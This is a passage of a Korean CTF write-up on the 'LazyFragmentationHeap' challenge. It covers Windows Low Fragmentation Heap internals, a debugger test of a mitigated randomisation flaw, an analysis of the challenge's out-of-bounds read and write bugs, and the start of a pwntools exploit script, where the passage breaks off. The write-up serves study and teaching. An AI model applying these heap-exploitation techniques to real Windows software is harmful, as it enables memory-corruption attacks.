  <li>BitmapData : Heap chunk의 할당 여부를 확인하기 위한 8 bytes짜리 Bitmap 데이터를 가지고 있으며, 특정 index에 해당하는 Heap chunk가 할당되서 사용중이면 해당 index의 bit는 1( BUSY ),  할당해제되었거나 할당된 적이 없으면 0( FREE )으로 표기함</li>
</ul>

<h2 id="39-_interlock_seq">3.9. <a href="http://terminus.rewolf.pl/terminus/structures/ntdll/_INTERLOCK_SEQ_x64.html">_INTERLOCK_SEQ</a></h2>
<p>: 할당 혹은 할당해제된 Heap chunk의 개수를 구할 때 주로 참조하는 구조체.<br />
( _HEAP_SUBSEGMENT-&gt;AggregateExchg )</p>
<ul>
  <li>Depth : 초기값으로 <strong>_HEAP_SUBSEGMENT-&gt;BlockCount</strong>와 동일한 값을 가지고 있으며 새로운 Heap chunk를 할당하면 1 감소하고 할당해제 하면 1 증가함</li>
</ul>

<p>LFH와 관련된 구조체들 중에서 중요한 멤버들에 대해서만 간추려 정리했는데도 꽤 많은 시간이 필요했습니다.</p>

<p>Windows Heap을 처음 공부하는 입장에선 각각의 구조체들이 실제로 어떤 방식으로 사용되는지 좀 헷갈릴 수 있기 때문에, LFH가 관리하지 않는 일반 Heap chunk와 구분해 Heap 메모리 할당 그리고 할당해제 과정이 어떤식으로 동작하는지 아래와 같이 간략하게 정리했습니다.</p>

<h2 id="310-allocate-and-free-non-lfh-chunk">3.10. Allocate and Free Non-LFH chunk</h2>
<h3 id="allocate">Allocate</h3>
<p>Non-LFH chunk의 경우, 할당요청을 받은 Heap chunk의 크기에 따라 메모리 관리에 약간의 차이가 존재합니다.</p>

<h4 id="size---_heap-virtualmemorythreshold--0x10-">size &lt;= ( _HEAP-&gt;VirtualMemoryThreshold * 0x10 )</h4>
<ol>
  <li>만약 요청받은 Heap chunk의 크기가 0x4000 이하라면 LFH가 활성화되어 있는지 검사한다.</li>
  <li>요청받은 Heap chunk의 크기가 <strong>_HEAP-&gt;BlockIndex</strong>가 가리키는 <strong>_HEAP_LIST_LOOKUP</strong>의 <strong>ArraySize</strong>보다 큰지 확인하고, 만약 크다면 <strong>_HEAP_LIST_LOOKUP-&gt;ExtendedLookup</strong>이 가리키는 구조체의 <strong>ArraySize</strong>와 비교해가며 유효한 구조체를 찾는다.</li>
  <li><strong>_HEAP_LIST_LOOKUP-&gt;ListHint</strong>를 탐색하며 알맞는 크기의 Heap 메모리 영역을 찾아 반환해준다.</li>
</ol>

<h4 id="size---_heap-virtualmemorythreshold--0x10--1">size &gt; ( _HEAP-&gt;VirtualMemoryThreshold * 0x10 )</h4>
<ol>
  <li><a href="https://docs.microsoft.com/en-us/previous-versions/ff566416(v%3Dvs.85)">ZwAllocateVirtualMemory()</a> 함수로 메모리를 할당받아 <strong>_HEAP-&gt;VirtualAllocdBlocks</strong>에 삽입한다.<br />
( 위와 같은 방식으로 할당된 Heap chunk는 <strong>_HEAP_ENTRY</strong> 대신 <a href="https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1909%2019H2%20(November%202019%20Update)/_HEAP_VIRTUAL_ALLOC_ENTRY">_HEAP_VIRTUAL_ALLOC_ENTRY</a> 구조체를 header로 사용함 )</li>
</ol>

<h3 id="free">Free</h3>
<h4 id="size---_heap-virtualmemorythreshold--0x10--2">size &lt;= ( _HEAP-&gt;VirtualMemoryThreshold * 0x10 )</h4>
<ol>
  <li><strong>_HEAP_ENTRY-&gt;UnusedBytes</strong>로 LFH가 관리하던 Heap chunk인지 검사한다.</li>
  <li>이전 혹은 이후에 할당된 Heap chunk가 할당해제된 상태라면 할당해제할 해당 chunk와 합친 뒤 합친 크기를 새로 업데이트한다.</li>
  <li>만약 합쳐진 Heap chunk가 <strong>_HEAP-&gt;FreeLists</strong>의 시작 혹은 끝부분에 삽입할 수 있다면 삽입하고, 안된다면 <strong>_HEAP_LIST_LOOKUP-&gt;ListHints</strong>에 삽입한다.<br />
( glibc에서 발생하는 <a href="https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsafe_unlink.c">Unsafe Unlink</a> 기법과 매우 유사한 형태의 공격이 가능함 )</li>
</ol>

<h4 id="size---_heap-virtualmemorythreshold--0x10--3">size &gt; ( _HEAP-&gt;VirtualMemoryThreshold * 0x10 )</h4>
<ol>
  <li>Heap header의 무결성을 검사한 후, <strong>_HEAP-&gt;VirtualAllocdBlocks</strong>에서 해당 Heap chunk 주소를 제거한 뒤 <strong>ntdll!RtlpSecMemFreeVirtualMemory</strong> 함수로 할당해제한다.</li>
</ol>

<h2 id="311-allocate-and-free-lfh-chunk">3.11. Allocate and Free LFH chunk</h2>
<h3 id="allocate-1">Allocate</h3>
<ol>
  <li><strong>_LFH_HEAP-&gt;Buckets</strong>를 탐색하며 할당하고자 하는 크기에 맞는 Buckets의 <strong>SizeIndex</strong>를 구해 <strong>_LFH_HEAP-&gt;SegmentInfoArrays</strong> 배열의 index로 시용해 알맞는 SubSegment를 구한다.</li>
  <li><strong>_HEAP_LOCAL_SEGMENT_INFO-&gt;ActiveSubsegment</strong>가 가리키는 SubSegment의 <strong>Depth</strong>를 읽어들여 할당가능한 Heap chunk가 있는지 확인하고, 만약 없다면 <strong>_HEAP_LOCAL_SEGMENT_INFO-&gt;CachedItems</strong>에서 새로운 SubSegment를 가져온다.</li>
  <li><strong>_HEAP_LOCAL_SEGMENT_INFO-&gt;ActiveSubsegment-&gt;AggregateExchg-&gt;Depth</strong>를 1 감소시킨다.</li>
  <li><strong>ntdll!RtlpLowFragHeapRandomData</strong>에서 임의의 위치에 있는 난수 1 byte를 읽어들여 Heap chunk의 index값으로 사용한다.</li>
  <li><strong>_HEAP_USERDATA_HEADER-&gt;BusyBitmap</strong>이 가리키는 Bitmap의 해당 index에 Heap chunk를 할당할 수 있는지 확인하고 만약 가능하다면 할당한 뒤 주소를 반환해주고 아니면 인접한 다른 index를 탐색한다.</li>
</ol>

<h3 id="free-1">Free</h3>
<ol>
  <li>header를 디코딩해 <strong>_HEAP_USERDATA_HEADER</strong>와 <strong>_HEAP_SUBSEGMENT</strong>의 주소를 구한다.</li>
  <li><strong>_HEAP_ENTRY-&gt;UnusedBytes</strong>의 값을 0x80으로 수정한다.</li>
  <li>Bitmap에서 할당해제할 Heap chunk와 index가 같은 bit를 0으로 수정하고, <strong>_HEAP_SUBSEGMENT-&gt;AggregateExchg-&gt;Depth</strong>를 1 증가시킨다.</li>
</ol>

<p>LFH가 활성화되면 보안적인 관점에서 가장 눈에 띄는 차이점은 Heap chunk간의 위치가 Non-Deterministic, 쉽게 말해 내가 할당요청을 보낸 Heap chunk가 어디에 위치할 지 모른단 점입니다.</p>

<p>보통 우리에게 익숙한 glibc에서의 Heap 익스플로잇 기법들은 대부분 같은 크기인 Heap chunk들간의 크기와 서로간의 간격을 알 수 있어 뒤에 위치한 Heap chunk의 header나 ( 만약 뒤에 있는 Heap chunk가 할당해제된 상태면 )FD와 BK를 조작하거나 Top chunk를 조작하는 형태로 이루어집니다.</p>

<p>LFH가 비활성화된 Heap chunk라면 앞서 말한바와 같이 이러한 기법을 응용해 사용할 수도 있겠지만, LFH는 같은 크기로 할당된 Heap chunk들이 서로 어디에 위치해 있는지 알 수 없기 때문에 약간의 어려움이 있습니다.</p>

<p><a href="https://twitter.com/AmarSaar">Saar Amar</a>이 전에 Heap chunk를 할당하기 위해 <strong>ntdll!RtlpLowFragHeapRandomData</strong>에서 랜덤한 index를 읽어들일 때 해당 데이터가 한번 설정된 후 계속 고정되어 있고, 데이터를 읽어들이는 순서가 순차적이라는 점을 이용해 <a href="https://github.com/saaramar/Deterministic_LFH">LFH의 Non-Deterministic한 특징을 우회할 수 있는 취약점</a>을 찾은 적은 있지만 이 취약점은 Windows 10 Version 16179부터 패치되었기 때문에 아래와 같이 취약점이 발생하지 않습니다.</p>

<p><img src="/assets/images/lazyfragmentationheap-pic8.png" alt="vuln mitigated" /></p>

<p>이 부분은 간단한 테스트 코드로 확인해 보실 수 있습니다.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span>
<span class="cp">#define SIZE 0x80
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">LPVOID</span> <span class="o">*</span><span class="n">ptr_arr</span><span class="p">[</span><span class="mh">0x112</span><span class="p">];</span>
	<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">hHeap</span><span class="p">;</span>

	<span class="n">hHeap</span> <span class="o">=</span> <span class="n">HeapCreate</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

	<span class="c1">// activate LFH</span>
	<span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x12</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
		<span class="n">ptr_arr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">HeapAlloc</span><span class="p">(</span><span class="n">hHeap</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] create BP print hook NOW</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
	<span class="n">getchar</span><span class="p">();</span>

	<span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mh">0x12</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x112</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
		<span class="n">ptr_arr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">HeapAlloc</span><span class="p">(</span><span class="n">hHeap</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] All allocated heap chunks are going to be de-allocated"</span><span class="p">);</span>
	<span class="n">getchar</span><span class="p">();</span>

	<span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x112</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
		<span class="n">HeapFree</span><span class="p">(</span><span class="n">hHeap</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">ptr_arr</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>

    <span class="n">HeapDestroy</span><span class="p">(</span><span class="n">hHeap</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="cm">/*
ntdll.dll version == 10.0.18362.418

0:001&gt; bp ntdll+3C4AD ".printf \"currIdx=0x%p\\r\\n\", @rax; g"
0:001&gt; g
currIdx=0x0000000000000010
currIdx=0x0000000000000011
currIdx=0x0000000000000012
currIdx=0x0000000000000013
currIdx=0x0000000000000014
currIdx=0x0000000000000015
currIdx=0x0000000000000016
currIdx=0x0000000000000017
currIdx=0x0000000000000018
currIdx=0x0000000000000019
currIdx=0x000000000000001a
currIdx=0x000000000000001b
currIdx=0x000000000000001c
currIdx=0x000000000000001d
currIdx=0x000000000000001e
currIdx=0x000000000000001f
currIdx=0x0000000000000020
currIdx=0x0000000000000021
currIdx=0x0000000000000022
currIdx=0x0000000000000023
currIdx=0x0000000000000024
currIdx=0x0000000000000025
currIdx=0x0000000000000026
currIdx=0x0000000000000027
currIdx=0x0000000000000028
currIdx=0x0000000000000029
currIdx=0x000000000000002a
currIdx=0x000000000000002c
currIdx=0x000000000000002d
currIdx=0x000000000000002e
currIdx=0x000000000000002f
currIdx=0x0000000000000030
currIdx=0x0000000000000031
currIdx=0x0000000000000032
currIdx=0x0000000000000033
currIdx=0x0000000000000034
currIdx=0x0000000000000035
currIdx=0x0000000000000036
currIdx=0x0000000000000037
currIdx=0x0000000000000038
currIdx=0x0000000000000039
currIdx=0x000000000000003a
currIdx=0x000000000000003b
currIdx=0x000000000000003c
currIdx=0x000000000000003d
currIdx=0x000000000000003e
currIdx=0x000000000000003f
currIdx=0x0000000000000040
currIdx=0x0000000000000041
currIdx=0x0000000000000042
currIdx=0x0000000000000043
currIdx=0x0000000000000044
currIdx=0x0000000000000045
currIdx=0x0000000000000046
currIdx=0x0000000000000047
currIdx=0x0000000000000048
currIdx=0x0000000000000049
currIdx=0x000000000000004a
currIdx=0x000000000000004b
currIdx=0x000000000000004c
currIdx=0x000000000000004d
currIdx=0x000000000000004e
currIdx=0x000000000000004f
currIdx=0x0000000000000050
currIdx=0x0000000000000051
currIdx=0x0000000000000052
currIdx=0x0000000000000053
currIdx=0x0000000000000054
currIdx=0x0000000000000055
currIdx=0x0000000000000056
currIdx=0x0000000000000057
currIdx=0x0000000000000058
currIdx=0x0000000000000059
currIdx=0x000000000000005a
currIdx=0x000000000000005b
currIdx=0x000000000000005c
currIdx=0x000000000000005d
currIdx=0x000000000000005e
currIdx=0x000000000000005f
currIdx=0x0000000000000060
currIdx=0x0000000000000061
currIdx=0x0000000000000062
currIdx=0x0000000000000063
currIdx=0x0000000000000065
currIdx=0x0000000000000066
currIdx=0x0000000000000067
currIdx=0x0000000000000068
currIdx=0x0000000000000069
currIdx=0x000000000000006a
currIdx=0x000000000000006b
currIdx=0x000000000000006c
currIdx=0x000000000000006d
currIdx=0x000000000000006e
currIdx=0x000000000000006f
currIdx=0x0000000000000070
currIdx=0x0000000000000071
currIdx=0x0000000000000072
currIdx=0x0000000000000073
currIdx=0x0000000000000074
currIdx=0x0000000000000075
currIdx=0x0000000000000076
currIdx=0x0000000000000077
currIdx=0x0000000000000078
currIdx=0x0000000000000079
currIdx=0x000000000000007a
currIdx=0x000000000000007b
currIdx=0x000000000000007c
currIdx=0x000000000000007d
currIdx=0x000000000000007e
currIdx=0x000000000000007f
currIdx=0x0000000000000080
currIdx=0x0000000000000081
currIdx=0x0000000000000082
currIdx=0x0000000000000083
currIdx=0x0000000000000084
currIdx=0x0000000000000085
currIdx=0x0000000000000086
currIdx=0x0000000000000087
currIdx=0x0000000000000088
currIdx=0x0000000000000089
currIdx=0x000000000000008a
currIdx=0x000000000000008b
currIdx=0x000000000000008c
currIdx=0x000000000000008d
currIdx=0x000000000000008e
currIdx=0x000000000000008f
currIdx=0x0000000000000090
currIdx=0x0000000000000091
currIdx=0x0000000000000092
currIdx=0x0000000000000093
currIdx=0x0000000000000094
currIdx=0x0000000000000095
currIdx=0x0000000000000096
currIdx=0x0000000000000097
currIdx=0x0000000000000098
currIdx=0x0000000000000099
currIdx=0x000000000000009a
currIdx=0x000000000000009b
currIdx=0x000000000000009c
currIdx=0x000000000000009e
currIdx=0x000000000000009f
currIdx=0x00000000000000a0
currIdx=0x00000000000000a1
currIdx=0x00000000000000a2
currIdx=0x00000000000000a3
currIdx=0x00000000000000a4
currIdx=0x00000000000000a5
currIdx=0x00000000000000a6
currIdx=0x00000000000000a7
currIdx=0x00000000000000a8
currIdx=0x00000000000000a9
currIdx=0x00000000000000aa
currIdx=0x00000000000000ab
currIdx=0x00000000000000ac
currIdx=0x00000000000000ad
currIdx=0x00000000000000ae
currIdx=0x00000000000000af
currIdx=0x00000000000000b0
currIdx=0x00000000000000b1
currIdx=0x00000000000000b2
currIdx=0x00000000000000b3
currIdx=0x00000000000000b4
currIdx=0x00000000000000b5
currIdx=0x00000000000000b6
currIdx=0x00000000000000b7
currIdx=0x00000000000000b8
currIdx=0x00000000000000b9
currIdx=0x00000000000000ba
currIdx=0x00000000000000bb
currIdx=0x00000000000000bc
currIdx=0x00000000000000bd
currIdx=0x00000000000000be
currIdx=0x00000000000000bf
currIdx=0x00000000000000c0
currIdx=0x00000000000000c1
currIdx=0x00000000000000c2
currIdx=0x00000000000000c3
currIdx=0x00000000000000c4
currIdx=0x00000000000000c5
currIdx=0x00000000000000c6
currIdx=0x00000000000000c7
currIdx=0x00000000000000c8
currIdx=0x00000000000000c9
currIdx=0x00000000000000ca
currIdx=0x00000000000000cb
currIdx=0x00000000000000cc
currIdx=0x00000000000000cd
currIdx=0x00000000000000ce
currIdx=0x00000000000000cf
currIdx=0x00000000000000d0
currIdx=0x00000000000000d1
currIdx=0x00000000000000d2
currIdx=0x00000000000000d3
currIdx=0x00000000000000d4
currIdx=0x00000000000000d5
currIdx=0x00000000000000d7
currIdx=0x00000000000000d8
currIdx=0x00000000000000d9
currIdx=0x00000000000000da
currIdx=0x00000000000000db
currIdx=0x00000000000000dc
currIdx=0x00000000000000dd
currIdx=0x00000000000000de
currIdx=0x00000000000000df
currIdx=0x00000000000000e0
currIdx=0x00000000000000e1
currIdx=0x00000000000000e2
currIdx=0x00000000000000e3
currIdx=0x00000000000000e4
currIdx=0x00000000000000e5
currIdx=0x00000000000000e6
currIdx=0x00000000000000e7
currIdx=0x00000000000000e8
currIdx=0x00000000000000e9
currIdx=0x00000000000000ea
currIdx=0x00000000000000eb
currIdx=0x00000000000000ec
currIdx=0x00000000000000ed
currIdx=0x00000000000000ee
currIdx=0x00000000000000ef
currIdx=0x00000000000000f0
currIdx=0x00000000000000f1
currIdx=0x00000000000000f2
currIdx=0x00000000000000f3
currIdx=0x00000000000000f4
currIdx=0x00000000000000f5
currIdx=0x00000000000000f6
currIdx=0x00000000000000f7
currIdx=0x00000000000000f8
currIdx=0x00000000000000f9
currIdx=0x00000000000000fa
currIdx=0x00000000000000fb
currIdx=0x00000000000000fc
currIdx=0x00000000000000fd
currIdx=0x00000000000000fe
currIdx=0x00000000000000ff
currIdx=0x0000000000000000
currIdx=0x0000000000000001
currIdx=0x0000000000000002
currIdx=0x0000000000000003
currIdx=0x0000000000000067 &lt;--- here, @AmarSaar's vuln has been mitigated
currIdx=0x0000000000000068
currIdx=0x0000000000000069
currIdx=0x000000000000006a
currIdx=0x000000000000006b
currIdx=0x000000000000006c
currIdx=0x000000000000006d
currIdx=0x000000000000006e
currIdx=0x000000000000006f
currIdx=0x0000000000000070
currIdx=0x0000000000000071
currIdx=0x0000000000000073
currIdx=0x0000000000000074
currIdx=0x0000000000000075
currIdx=0x0000000000000076
currIdx=0x0000000000000077
*/</span>
</code></pre></div></div>

<p>제가 LFH에 대해 학습한 내용은 여기까지입니다. 이제 문제파일을 분석해보겠습니다.</p>

<h1 id="4-익스플로잇">4. 익스플로잇</h1>
<p>아래와 같이 MENU 형식으로 입력을 받아 allocate, free, edit와 같은 동작을 수행할 수 있는 전형적인 Heap 문제로 보입니다.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*****************************
    LazyFragmentationHeap
*****************************
 1. Allocate buffer for File  // alloc
 2. Edit File content         // edit
 3. Show content              // show
 4. Clean content             // free
 5. LazyFileHandler
 6. Exit
****************************
</code></pre></div></div>

<p>처음 문제파일을 시작하면 <a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc">VirtualAlloc()</a> 함수로 <strong>0xBEEFDAD0000</strong> 주소에 R/W 권한만 있는 메모리를 할당해 아래와 같은 40 bytes 크기의 구조체를 관리하는데 사용합니다.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">lazy_chunk</span> <span class="p">{</span>
    <span class="n">ULONGLONG</span> <span class="n">magic1</span><span class="p">;</span>    <span class="c1">// 0x0000DDAABEEF1ACD      | offset 0</span>
    <span class="n">ULONGLONG</span> <span class="n">size</span><span class="p">;</span>      <span class="c1">// 0x80 &lt;= size &lt;= 0x2000  | offset 8</span>
    <span class="n">ULONGLONG</span> <span class="n">chunk_id</span><span class="p">;</span>  <span class="c1">// 0xDDAA                  | offset 16</span>
    <span class="n">ULONGLONG</span> <span class="n">magic2</span><span class="p">;</span>    <span class="c1">// 0x0000DDAABEEF1ACD      | offset 24</span>
    <span class="n">BYTE</span> <span class="o">*</span><span class="n">heap_mem</span><span class="p">;</span>      <span class="c1">// calloc(1, size)         | offset 32</span>
<span class="p">}</span>
</code></pre></div></div>

<p>처음 분석하고 나서 취약점이 있다고 의심이 간 부분은 <code class="language-plaintext highlighter-rouge">2. Edit File content</code>를 선택하면 실행하는 아래의 코드부분이었습니다.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">case</span> <span class="mi">2</span><span class="n">i64</span><span class="p">:</span>
<span class="c1">// skip for brevity...</span>
<span class="n">heap_mem_len</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="n">i64</span><span class="p">;</span>
<span class="n">heam_mem</span> <span class="o">=</span> <span class="n">BEEFDAD0000_mem</span><span class="p">[</span><span class="n">idx2_1</span><span class="p">].</span><span class="n">heap_mem</span><span class="p">;</span>
<span class="n">heap_size</span> <span class="o">=</span> <span class="n">BEEFDAD0000_mem</span><span class="p">[</span><span class="n">idx2_1</span><span class="p">].</span><span class="n">size</span><span class="p">;</span>
<span class="k">do</span>
  <span class="o">++</span><span class="n">heap_mem_len</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">heam_mem</span><span class="p">[</span><span class="n">heap_mem_len</span><span class="p">]</span> <span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">heap_mem_len</span> <span class="o">&gt;</span> <span class="n">heap_size</span> <span class="o">&amp;&amp;</span> <span class="n">BEEFDAD0000_mem</span><span class="p">[</span><span class="n">idx2_1</span><span class="p">].</span><span class="n">magic2</span> <span class="o">==</span> <span class="mh">0xDDAABEEF1ACD</span><span class="n">i64</span> <span class="p">)</span>
<span class="p">{</span>  <span class="c1">// if magic2 is not corrupted, heap_size = heap_mem_len...OOB?</span>
  <span class="n">heap_size</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="n">i64</span><span class="p">;</span>
  <span class="k">do</span>
    <span class="o">++</span><span class="n">heap_size</span><span class="p">;</span>
  <span class="k">while</span> <span class="p">(</span> <span class="n">heam_mem</span><span class="p">[</span><span class="n">heap_size</span><span class="p">]</span> <span class="p">);</span>
<span class="p">}</span>

<span class="k">if</span> <span class="p">(</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">heam_mem</span><span class="p">,</span> <span class="n">heap_size</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="p">)</span> <span class="c1">// potential OOB write</span>
<span class="c1">// skip for brevity...</span>

</code></pre></div></div>

<p>주석으로 달아놓은 설명처럼 <code class="language-plaintext highlighter-rouge">heap_mem_len</code>을 이용한 OOB write가 가능해 보입니다.</p>

<p><code class="language-plaintext highlighter-rouge">3. Show content</code>에도 아래와 같이 OOB read가 가능해보이는 코드가 있었습니다.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">case</span> <span class="mi">3</span><span class="n">i64</span><span class="p">:</span>
    <span class="c1">// skip for brevity...</span>
    <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">BEEFDAD0000_mem</span><span class="p">[</span><span class="n">chunk_cnt</span><span class="p">].</span><span class="n">heap_mem</span> <span class="p">)</span>
        <span class="k">goto</span> <span class="n">LABEL_59</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">BEEFDAD0000_mem</span><span class="p">[</span><span class="n">chunk_cnt</span><span class="p">].</span><span class="n">magic1</span> <span class="o">!=</span> <span class="mh">0xDDAABEEF1ACD</span><span class="n">i64</span> <span class="p">)</span>
        <span class="k">goto</span> <span class="n">LABEL_59</span><span class="p">;</span>
    <span class="n">v26</span> <span class="o">=</span> <span class="n">BEEFDAD0000_mem</span><span class="p">[</span><span class="n">chunk_cnt</span><span class="p">].</span><span class="n">magic2</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">v26</span> <span class="o">!=</span> <span class="mh">0xDDAABEEF1ACD</span><span class="n">i64</span> <span class="o">&amp;&amp;</span> <span class="n">v26</span> <span class="o">!=</span> <span class="mh">0xFACE6DA61A35C767</span><span class="n">i64</span> <span class="p">)</span>
        <span class="k">goto</span> <span class="n">LABEL_59</span><span class="p">;</span>

    <span class="c1">// potential OOB read, possible to leak _HEAP_ENTRY data</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Content: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">BEEFDAD0000_mem</span><span class="p">[</span><span class="n">chunk_cnt</span><span class="p">].</span><span class="n">heap_mem</span><span class="p">);</span> 
    <span class="c1">// skip for brevity...</span>
</code></pre></div></div>

<p>그래서 OOB read로 뒤에 위치한 heap chunk의 ( <strong>_HEAP-&gt;Encoding</strong>로 인코딩된 ) header를 leak할 수 있는 size들을 찾기 위해 아래와 같이 Brute-force했습니다.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="c1"># context.log_level = "debug"
</span>
<span class="c1"># HOST = "192.168.56.102" # VirtualBox Host-Only Adapter
</span><span class="n">HOST</span> <span class="o">=</span> <span class="s">"192.168.0.18"</span> <span class="c1"># VirtualBox Bridge 
</span><span class="n">PORT</span> <span class="o">=</span> <span class="mi">6677</span>

<span class="n">hi</span> <span class="o">=</span> <span class="bp">None</span>
<span class="n">sla</span> <span class="o">=</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">alloc</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
 	<span class="n">sla</span><span class="p">(</span><span class="s">"Size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">,</span> <span class="n">val</span><span class="p">,</span> <span class="n">need_newline</span><span class="o">=</span><span class="bp">True</span><span class="p">):</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>
	<span class="k">if</span> <span class="n">need_newline</span><span class="p">:</span>
		<span class="n">sla</span><span class="p">(</span><span class="s">"Content:"</span><span class="p">,</span> <span class="n">val</span><span class="p">)</span>
	<span class="k">else</span><span class="p">:</span>
		<span class="n">hi</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">"Content:"</span><span class="p">,</span> <span class="n">val</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">show</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">):</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>
	<span class="k">return</span> <span class="n">hi</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="s">"Content: "</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">free</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">):</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">4</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">open_file</span><span class="p">():</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">5</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">read_file</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">5</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>
